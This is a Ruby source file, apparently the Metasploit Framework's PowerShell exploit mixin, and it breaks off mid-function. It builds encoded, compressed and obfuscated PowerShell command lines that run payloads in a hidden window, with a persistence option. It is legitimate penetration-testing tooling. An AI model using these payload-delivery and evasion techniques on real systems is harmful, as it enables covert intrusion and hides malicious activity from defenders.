# -*- coding: binary -*- require 'rex/exploitation/powershell' module Msf module Exploit::Powershell class PshScript < Rex::Exploitation::Powershell::Script end def initialize(info = {}) super register_advanced_options( [ OptBool.new('PSH::persist', [true, 'Run the payload in a loop', false]), OptBool.new('PSH::old_technique', [true, 'Use powershell 1.0', false]), OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]), OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]), OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]), OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]), ], self.class) end # # Reads script into a PshScript # def read_script(script_path) return PshScript.new(script_path) end # # Insert substitutions into the powershell script # If script is a path to a file then read the file # otherwise treat it as the contents of a file # def make_subs(script, subs) if ::File.file?(script) script = ::File.read(script) end subs.each do |set| script.gsub!(set[0],set[1]) end return script end # # Return an array of substitutions for use in make_subs # def process_subs(subs) return [] if subs.nil? or subs.empty? new_subs = [] subs.split(';').each do |set| new_subs << set.split(',', 2) end return new_subs end # # Return an encoded powershell script # Will invoke PSH modifiers as enabled # def encode_script(script_in, eof = nil) # Build script object psh = PshScript.new(script_in) # Invoke enabled modifiers datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k| mod_method = k.split('::').last.intern psh.send(mod_method) end return psh.encode_code(eof) end # # Return a gzip compressed powershell script # Will invoke PSH modifiers as enabled # def compress_script(script_in, eof = nil) # Build script object psh = PshScript.new(script_in) # Invoke enabled modifiers datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k| mod_method = k.split('::').last.intern psh.send(mod_method) end return psh.compress_code(eof) end # # Generate a powershell command line # def generate_psh_command_line(opts) if opts[:path] and opts[:path][-1,1] == "\\" opts[:path] << "\\" end args = generate_psh_args(opts) return "#{opts[:path]}powershell.exe #{args}" end # # Generate arguments for the powershell command # def generate_psh_args(opts) arg_string = "" opts.each_pair do |arg, value| case arg when :encodedcommand arg_string << "-EncodedCommand #{value} " if value when :executionpolicy arg_string << "-ExecutionPolicy #{value} " if value when :inputformat arg_string << "-InputFormat #{value} " if value when :file arg_string << "-File #{value} " if value when :noexit arg_string << "-NoExit " if value when :nologo arg_string << "-NoLogo " if value when :noninteractive arg_string << "-NonInteractive " if value when :mta arg_string << "-Mta " if value when :outputformat arg_string << "-OutputFormat #{value} " if value when :sta arg_string << "-Sta " if value when :noprofile arg_string << "-NoProfile " if value when :windowstyle arg_string << "-WindowStyle #{value} " if value end end #Command must be last (unless from stdin - etc) if opts[:command] arg_string << "-Command #{opts[:command]}" end # Shorten args if PSH 2.0+ unless datastore['PSH::old_technique'] arg_string.gsub!('-Command', '-c') arg_string.gsub!('-EncodedCommand', '-e') arg_string.gsub!('-ExecutionPolicy', '-ep') arg_string.gsub!('-File', '-f') arg_string.gsub!('-InputFormat', '-i') arg_string.gsub!('-NoExit', '-noe') arg_string.gsub!('-NoLogo', '-nol') arg_string.gsub!('-NoProfile', '-nop') arg_string.gsub!('-NonInteractive', '-noni') arg_string.gsub!('-OutputFormat', '-o') arg_string.gsub!('-Sta', '-s') arg_string.gsub!('-WindowStyle', '-w') end return arg_string end # # Runs powershell in hidden window raising interactive proc msg # Detect the architecture # def run_hidden_psh(ps_code, payload_arch, encoded) arg_opts = { :noprofile => true, :windowstyle => 'hidden', } if encoded arg_opts[:encodedcommand] = ps_code else arg_opts[:command] = ps_code.gsub("'","''") end # Old technique fails if powershell exits.. arg_opts[:noexit] = true if datastore['PSH::old_technique'] ps_args = generate_psh_args(arg_opts) if payload_arch == 'x86' arch_x86 = '$True' else arch_x86 = '$False' end process_start_info = <